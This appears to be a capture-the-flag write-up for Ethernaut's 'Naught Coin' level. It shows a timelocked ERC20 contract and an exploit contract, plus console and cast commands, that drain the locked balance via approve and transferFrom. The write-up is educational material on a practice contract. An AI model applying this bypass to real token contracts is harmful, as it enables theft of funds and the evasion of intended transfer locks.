Level 15 - Naught Coin ⏺⏺⏺

Level Setup

NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

Things that might help

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

Exploit

While the tokens can't be transferred directly by the owner, the owner can allow a different address to transfer the tokens for them.

  1. Deploy the Exploit contract.

  2. In the browser console, approve the newly deployed exploit contract address.

myBalance = await contract.balanceOf("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266")
await contract.approve("0x76d05F58D14c0838EC630C8140eDC5aB7CD159Dc", myBalance)
  1. Invoke the attack to transfer the tokens.

cast send <DEPLOYED_EXPLOIT_CONTRACT_ADDRESS> "attack()" \
--rpc-url ${ANVIL_RPC_URL} --private-key ${ANVIL_PRIVATE_KEY}
make anvil-exploit-level-15

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level15.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

// ================================================================
// │                     LEVEL 15 - NAUGHT COIN                   │
// ================================================================
interface ERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract AttackContract {
    address targetContractAddress;

    constructor(address _targetContractAddress) {
        targetContractAddress = _targetContractAddress;
    }

    function attack() public {
        uint256 allowance = ERC20(targetContractAddress).allowance(msg.sender, address(this));

        // Transfer all tokens to this contract address
        ERC20(targetContractAddress).transferFrom(msg.sender, address(this), allowance);
    }
}

Submit instance... 🥳

Completion Message

When using code that's not your own, it's a good idea to familiarize yourself with it to get a good understanding of how everything fits together. This can be particularly important when there are multiple levels of imports (your imports have imports) or when you are implementing authorization controls, e.g. when you're allowing or disallowing people from doing things. In this example, a developer might scan through the code and think that transfer is the only way to move tokens around, low and behold there are other ways of performing the same operation with a different implementation.

Notes

Last updated